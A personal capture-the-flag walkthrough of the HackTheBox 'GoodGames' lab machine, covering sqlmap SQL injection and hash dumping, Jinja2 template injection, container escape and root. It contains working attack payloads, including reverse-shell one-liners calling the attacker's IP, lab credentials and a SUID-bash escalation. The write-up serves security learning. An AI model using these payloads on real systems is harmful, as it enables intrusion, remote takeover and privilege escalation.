HackTheBox: Goodgames

01/13/2024

The previous box was [[Celestial]], which was the first medium box I attempted. This is rated as being harder than that one.

Enumeration

only port 80 open. Script scan shows its name as "goodgames.htb", so I add this to /etc/hosts

It is a video game website very much like steam. Most of the links are dead, but there are 2 live ones: One to "/blog", and one to "/coming-soon".

On the "coming-soon" page is a form to enter your email which might be vulnerable to some sort of injection, but it doesnt appear to reflect anything to the page.

Ill run gobuster on it. To do this I had to exclude results with length 9265, as even non-existent pages return with this length.

This catches a few interesting results, such as /profile, /login, /signup, /forgot-password.

/profile and /login yield 500 and 405 errors, respectively. Its possible that /profile has parameters that can be fuzzed, but Ill check other routes first.

By attempting to register a user with the email "admin@goodgames.htb" we see that the account already exists.

I think the plan here will be to try and trick the password reset mechanism. Im researching methods for that on hacktricks here: (https://book.hacktricks.xyz/pentesting-web/reset-password).

Let me see if I can use wireshark to capture anything when I attempt to reset the admin password... nope, nothing. It replies to the password reset request with JSON though, so I wonder if I can do anything with that?


{"success":"If the email you supplied is valid you will an email with further instructions to reset your password"}

Doing some more enumeration, Wappalyzer identifies the site as using the "GSAP" javascript framework. This has a known prototype pollution vuln, although I really dont know what that means or what it can be leveraged for. I dont see any proof of concept code for it. Ill assume for now that it isnt relevant.

Theres no discussion page for this box for some reason. When I was looking for online forums about it I accidentally saw mention of SQL injection, so that was kind of involuntary cheating.

Oh well. Let me try running SQLMap on the login.

Holy shit! It actually worked!

I intercepted the login request with burpsuite and saved it to a file login.req. Then I ran the following to have SQLmap test parameters in the request for SQLi vulnerability:


$ sqlmap -r login.req --risk=3 --level=5 --batch

Here is the output:


sqlmap identified the following injection point(s) with a total of 652 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=admin@goodgames.htb' AND 8897=(SELECT (CASE WHEN (8897=8897) THEN 8897 ELSE (SELECT 4455 UNION SELECT 2828) END))-- kGWB&password=password

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@goodgames.htb' AND (SELECT 9263 FROM (SELECT(SLEEP(5)))znKT)-- wKRj&password=password
---

Now if I copy and paste the time-based blind payload and insert it into the intercepted request, then URL encode it, I actually get the admin login. This redirects me to the admin profile page, the request being as follows:


GET /profile HTTP/1.1
Host: goodgames.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=.eJw1yz0KgDAMBtC7fHMRXDN5E4kkjYX-QNNO4t3t4v7egzN29RsUObsGaOGUQWApqR7WmhgX9e0eFwKSgPaA3MxUUgWNPlearr0u9j-8Hz1GHgw.ZP48VQ.eoMpE5oQeh_HDbRCNGsen_3M2Wk
Upgrade-Insecure-Requests: 1

The page we are brought allows us to edit our profile details, but we need the password to do so, which I dont have.

Looking around at links accessible from the admin page, we discover a new vhost, internal-administration.goodgames.htb. Ill add this to /etc/hosts and check it out.

internal-administration vhost

This page is yet another login form, which I assume goes to a more technical admin portal. Again, the issue is that we dont actually KNOW our password since we got here using SQL injection.

Let's try this. Lets attempt to use SQLi to bypass the password requirement to edit our profile. Then maybe we can change our password and get access to that portal.

A Step Back: Enumerating DB with SQLmap

My own ignorance of SQLmap almost fucked me there. I didnt realize you could use it to automatically enumerate the contents of the DB. It looks like I'm able to use the injection found earlier to do a time-based injection attack to dump database contents. So Ill let that run and hopefully it will extract the admin hash which I can then crack.

It's using time-based injection, with 2 seconds on correct chars, so this will take a while. Ill let it run in the background

First I ran


sqlmap -r login.req --risk=3 --level=5 --batch --dbs

to enumerate the databases in the system. There were 2: "main" and "information_schema". Im only interested in "main". To enumerate the tables in main I run:


sqlmap -r login.req --risk=3 --level=5 --batch -D main --tables

This found three tables: "user", "blog", and "blog_comments".

I'm after hashes, so Ill dump the column names from "user":


sqlmap -r login.req --risk=3 --level=5 --batch -D main -T user --columns

This turns up "email", "varchar(255)", "id", "int", "name", "varchar(255)", "password", "varchar()"

The output above confused me at first, but it looks like what it's doing is enumerating both the column name and datatype. Ie, "id" is type "int", "name" is type "varchar(255)", etc.

So obviously what Im after here is the password. Im not totally sure about mysql syntax, but let me try this to dump names and passwords:


sqlmap -r login.req --risk=3 --level=5 --batch -D main -T user -C name,password --dump

This seemed to work. I get:


admin:2b22337f218b2d82dfc3b6f77e7cb8ec

first things first, Ill just google the hash to see if its already public. If it is it will save me some time.

Success! from https://md5.gromweb.com/?md5=2b22337f218b2d82dfc3b6f77e7cb8ec,


The MD5 hash:  
2b22337f218b2d82dfc3b6f77e7cb8ec
was succesfully reversed into the string:  
superadministrator

Hell yeah!

Now, using admin:superadministrator, we can get into the lower-level admin page.

I honestly cant see anything useful on this page though. The fuck am I supposed to do here?

Getting a shell with SQLMap

I suspect that it's attempts to find a writable file in the web root is failing because the site uses python's Flask, which doesnt use typical paths like /var/www/html. Let me look up common Flask paths and try that.

Okay, looks like this will require some further enumeration. Let's see what info I can gather about the user and the privileges facilitating the SQL injection:


sqlmap -r login.req --risk=3 --level=5 --batch --current-user --privileges

If I have read privileges, I should be able to enumerate the file system that way. Basically I just have to find the web root.

This mysql user is "main_admin", and his only privilege is "USAGE" according to SQLmap.

Damn... looks like I wont be able to read files this way.

Further enumeration of the internal-administration VHOST

Man, I almost caved and consulted the writeup before I remembered I had one last thing to try: enumerating the internal-administration virtual host.

To do it successfully you need to pass your admin session cookie to gobuster, otherwise the site will treat the access attempts as being unauthenticated and wont show you anything. To do this I signed in to the portal, refreshed the page and captured the request, then copy and pasted the entire cookie header into the gobuster command after the -H flag:


gobuster dir --url=http://internal-administration.goodgames.htb --wordlist=$DIRS  -H "Cookie: session=.eJwljkFqQzEMBe_idRa2JFtSLvOxLImWQAv_J6uQu9fQzYM3m5l3OfKM66vcn-crbuX49nIvKBAJdUjM3sHElmUVDsJpA9rg3ocmpwFtxLAWCSFoW8t1pGZwAzfuGj6tKgzmyRWlLlL2XinByJQIwCrxXuhCM1CHe5tlh7yuOP9r2r7rOvN4_j7iZ4MQgETEbUlRU5c2s4JjJcft7LQMdEX5_AF6sD5u.ZQERAQ.gZQTfbg43LYPmCVmCrB6Glfi18E" --exclude-length=6672

Consulting the Writeup

Damn! I need to get better with fucking SSTIs. Apparently its an SSTI injection vuln and I didnt even think of that. Its vulnerable in the /settings tab where you can modify your name.

Okay, that was about all the help I needed. I skimmed this blog post (https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/) and got clued in to try {{config}} as an SSTI payload to dump sensitive Flask data:


#### <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'S3cr3t_K#Key', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:////backend/project/apps/db.sqlite3', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>

Then I used this guide (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---remote-code-execution) to gain RCE through the following template:


{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Just replace 'id' with any system command. By running whoami we see that the process is running as root. And using wget I get a callback to my server. However, my netcat shell does not call me. Using which nc as the payload I see that netcat is not even installed, so Ill try a bash shell and I SHOULD get a root revshell:


{{ self.__init__.__globals__.__builtins__.__import__('os').popen('0<&196;exec 196<>/dev/tcp/10.10.14.5/4444; sh <&196 >&196 2>&196').read() }}

Nope, no luck. I tried a BUNCH of revshells with no success.

I finally got it working using a python-based shell:


{{ self.__init__.__globals__.__builtins__.__import__('os').popen('python -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read() }}

and now on my listener,


$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.130] 35558
# whoami
whoami
root

Let me upgrade my shell real quick.


root@3a453ab39d3d:/backend#

better.

We're in a docker container. So we can grab user.txt, but then we'll have to escape the container.

Container escape

Let me upload DeepCE and see if it spots any easy escapes...

Nope, deepce didnt find anything as far as escape goes. HOWEVER, it did do a primitive host enumeration scan with ping, and found the other IP on the docker subnet. This container's IP is 172.19.0.2, and deepce found that 172.19.0.1 is also up.

Interestingly, the other host has SSH enabled. I know because it doesnt refuse the connection. When a machine does not have SSH running it simply refuses attempts to connect, but this one actually lets me try to authenticate.

Let me try with some recycled creds, like augustus:superadministrator

Got it! Hah! First try muhfuckuh

On the real host as Augustus

This is tricky. No good SUIDs, and sudo not even installed. Here's a couple ideas to start: 1) netstat shows internal ports 3306, 8085, and 8000 open internally. All of these are potentially useful 2) just run the standard linpeas and pspy scans

It turns out that 8085 and 8000 are just the internal-administration and main web pages, not admin pages.

The mysql service is probably useful here though. I can rapidly search for credentials by navigating to /var/www/goodgames/main and running grep -Ri passw to recursively search for "passw", without case sensitivity. This yields the following line (buried in the rest of the results):


__init__.py:    app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://main_admin:C4n7_Cr4cK_7H1S_pasSw0Rd!@localhost/main'

Let me try to access the database with those creds, main_admin:C4n7_Cr4cK_7H1S_pasSw0Rd!:


mysql -u main_admin --password
Enter password: (C4n7_Cr4cK_7H1S_pasSw0Rd!)

mysql>

hell yeah, got a shell. Couldnt find anything I didnt already know about, though.

Consulting the Writeup

I checked the writeup for a hint here. I didnt catch this on my own, but if you run ls -l /home/augustus, the owner is listed as 1000, not augustus. This implies that the real user's home directory is mounted INSIDE this container at /home/augustus, essentially meaning /home/augustus is shared between host and container.

My very first thought was to use the rooted container to copy bash into this directory and add SUID. This works in the sense that I see the executable from the real machine, but I get a lib error when I try to run it.

AH: what I CAN do is copy bash into /home/augustus on the HOST machine, then descend into the container to change its owner to root and add SUID.

This DOES work.

First, in the real machine,


augustus@GoodGames:~$ ls
ls
user.txt
augustus@GoodGames:~$ cp `which bash` .
cp `which bash` .
augustus@GoodGames:~$ ls
ls
bash  user.txt

Then, descend back into the rooted container and make it SUID owned by root:


root@3a453ab39d3d:/home/augustus# ls
bash  user.txt
root@3a453ab39d3d:/home/augustus# chown root:root ./bash
root@3a453ab39d3d:/home/augustus# chmod u+s ./bash
root@3a453ab39d3d:/home/augustus# ls -al
total 1240
drwxr-xr-x 3 1000 1000    4096 Sep 13 04:03 .
drwxr-xr-x 1 root root    4096 Nov  5  2021 ..
lrwxrwxrwx 1 root root       9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000     220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 1000 1000    3526 Oct 19  2021 .bashrc
drwx------ 3 1000 1000    4096 Sep 13 03:10 .gnupg
-rw------- 1 1000 1000     612 Sep 13 03:39 .mysql_history
-rw-r--r-- 1 1000 1000     807 Oct 19  2021 .profile
-rwsr-xr-x 1 root root 1234376 Sep 13 04:03 bash
-rw-r----- 1 root 1000      33 Sep 12 00:50 user.txt

Then go back into the real machine and run bash with the privilege flag -p:


augustus@GoodGames:~$ ls
ls
bash  user.txt
augustus@GoodGames:~$ ./bash -p
./bash -p
bash-5.1# whoami
whoami
root

Damn! That one was way harder than [[Celestial]] despite being ranked as only one step up. But I think that's because this box has so few players, the sample size isnt large enough to get a good reading on the difficulty.

That was hard, but it was a lot of fun. I learned a lot. Basically every step of this box was something I had little experience with.

Beyond root

I'm completely beat and tired, but Im going to try and give a quick recap and opinion on this one.

First of all, this box was awesome. It was definitely one of the harder ones Ive done even though the steps seem relatively easy in retrospect. This really was great for learning; I did have to use the writeup, but only for hints, and I got a lot out of it.

My only complaint is that I would definitely say this box's difficulty was rated incorrectly. That was probably more like a medium-difficulty in my opinion.

Quick recap

1) found SQLi vuln in the login form using SQLMap 2) Used this SQLi vuln to dump hashes from database 3) Hash was already public, just googled it to find cleartext password 4) Used this password to access admin dashboard 5) Found SSTI vuln on dashboard "change name" form allowing me to get reverse shell. Note: any time there's reflected input, try SSTI. I always miss this one. 6) Discovered that I was root inside a container. Tried to recycle creds to SSH into the host system successfully. 7) Found that the host system's "augustus" user had his home dir mounted inside the docker container, thus essentially sharing the dir between host and container. 8) Priv esc'd by copying bash into shared home dir as host, then descended into rooted container to make it SUID and root-owned 9) Ascended back into the host to run root shell by executing SUID bash with ./bash -p

Checking the vulnerable code

I went back to see what exactly the SQL query was that was vulnerable to SQLi. Here it is, in /var/www/goodgames/main/auth.py:


def login_post():      
    if request.method == "POST":                 
        email = request.form.get('email')                                                              
        password = request.form.get('password')
        remember = True if request.form.get('remember') else False
        password = hashlib.md5(password.encode('utf-8')).hexdigest()
        try:                  
            connector = connections()
            print("Connected Successfully")   
        except mysql.connector.Error as err:
            print("Database error")            
        try:          
            cursor = connector.cursor()
            sql_command = "SELECT * FROM user WHERE email = '%s' AND password = '%s'" % (email, password)

Or, more specifically,


sql_command = "SELECT * FROM user WHERE email = '%s' AND password = '%s'" % (email, password)